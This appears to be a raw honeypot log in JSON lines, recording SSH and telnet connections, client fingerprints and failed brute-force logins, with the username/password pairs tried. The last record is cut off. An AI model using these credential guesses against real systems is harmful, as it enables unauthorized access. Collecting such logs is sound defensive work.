{"eventid":"cowrie.session.closed","duration":120.00422525405884,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:27.579525Z","src_ip":"212.55.149.117","session":"edec074bfb24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":34560,"dst_ip":"159.203.135.109","dst_port":22,"session":"b519195923fe","protocol":"ssh","message":"New connection: 116.110.220.181:34560 (159.203.135.109:22) [session: b519195923fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:36.379258Z"}
{"eventid":"cowrie.session.closed","duration":61.384201526641846,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:38.932499Z","src_ip":"212.55.149.117","session":"65a8a48bee0f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:41.097597Z","src_ip":"116.110.220.181","session":"b519195923fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:41.228712Z","src_ip":"116.110.220.181","session":"b519195923fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"OkwKcECs8qJP2Z","message":"login attempt [system/OkwKcECs8qJP2Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:42.275665Z","src_ip":"116.110.220.181","session":"b519195923fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:43.660199Z","src_ip":"116.110.220.181","session":"b519195923fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":55648,"dst_ip":"159.203.135.109","dst_port":22,"session":"451e648d4b2a","protocol":"ssh","message":"New connection: 193.24.211.100:55648 (159.203.135.109:22) [session: 451e648d4b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:51.109167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:51.118983Z","src_ip":"193.24.211.100","session":"451e648d4b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:51.222657Z","src_ip":"193.24.211.100","session":"451e648d4b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soccer","message":"login attempt [root/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:51.676947Z","src_ip":"193.24.211.100","session":"451e648d4b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:54:52.790503Z","src_ip":"193.24.211.100","session":"451e648d4b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.63299775123596,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:55:28.172948Z","src_ip":"212.55.149.117","session":"8efe5805f7a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59374,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e509850f82","protocol":"ssh","message":"New connection: 2.57.122.210:59374 (10.17.0.5:22) [session: c8e509850f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:08.778385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:09.027860Z","src_ip":"2.57.122.210","session":"c8e509850f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:09.031770Z","src_ip":"2.57.122.210","session":"c8e509850f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"elayer","message":"login attempt [ubuntu/elayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:09.717813Z","src_ip":"2.57.122.210","session":"c8e509850f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:10.837865Z","src_ip":"2.57.122.210","session":"c8e509850f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00166034698486,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:24.240758Z","src_ip":"212.55.149.117","session":"dc09ac5ff7c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57712,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d67b04443a8","protocol":"ssh","message":"New connection: 193.32.162.145:57712 (10.17.0.5:22) [session: 0d67b04443a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:31.129275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:31.133981Z","src_ip":"193.32.162.145","session":"0d67b04443a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:31.238033Z","src_ip":"193.32.162.145","session":"0d67b04443a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol@","message":"login attempt [ubuntu/sol@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:31.549964Z","src_ip":"193.32.162.145","session":"0d67b04443a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:32.662580Z","src_ip":"193.32.162.145","session":"0d67b04443a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22423,"dst_ip":"10.17.0.5","dst_port":23,"session":"95199a2a6cf3","protocol":"telnet","message":"New connection: 212.55.149.117:22423 (10.17.0.5:23) [session: 95199a2a6cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:47.833398Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44942,"dst_ip":"10.17.0.5","dst_port":22,"session":"b77954361d6a","protocol":"ssh","message":"New connection: 103.15.226.202:44942 (10.17.0.5:22) [session: b77954361d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:52.141185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:52.145238Z","src_ip":"103.15.226.202","session":"b77954361d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:52.391765Z","src_ip":"103.15.226.202","session":"b77954361d6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com","message":"login attempt [root/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:53.134544Z","src_ip":"103.15.226.202","session":"b77954361d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:56:54.384016Z","src_ip":"103.15.226.202","session":"b77954361d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57154,"dst_ip":"10.17.0.5","dst_port":23,"session":"80c75aaf17af","protocol":"telnet","message":"New connection: 212.55.149.117:57154 (10.17.0.5:23) [session: 80c75aaf17af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:57:00.564401Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58449,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16b2d9326a1","protocol":"telnet","message":"New connection: 212.55.149.117:58449 (10.17.0.5:23) [session: e16b2d9326a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:57:27.207841Z"}
{"eventid":"cowrie.session.closed","duration":62.0542094707489,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:57:49.887488Z","src_ip":"212.55.149.117","session":"95199a2a6cf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.52450513839722,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:04.088795Z","src_ip":"212.55.149.117","session":"80c75aaf17af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44758,"dst_ip":"10.17.0.5","dst_port":22,"session":"8407c5e63728","protocol":"ssh","message":"New connection: 2.57.122.210:44758 (10.17.0.5:22) [session: 8407c5e63728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:34.276348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:34.306973Z","src_ip":"2.57.122.210","session":"8407c5e63728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:34.446919Z","src_ip":"2.57.122.210","session":"8407c5e63728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:35.484790Z","src_ip":"2.57.122.210","session":"8407c5e63728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:36.590194Z","src_ip":"2.57.122.210","session":"8407c5e63728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":42368,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c7865980a02","protocol":"ssh","message":"New connection: 116.110.220.181:42368 (159.203.135.109:22) [session: 2c7865980a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:41.868766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:42.540187Z","src_ip":"116.110.220.181","session":"2c7865980a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sh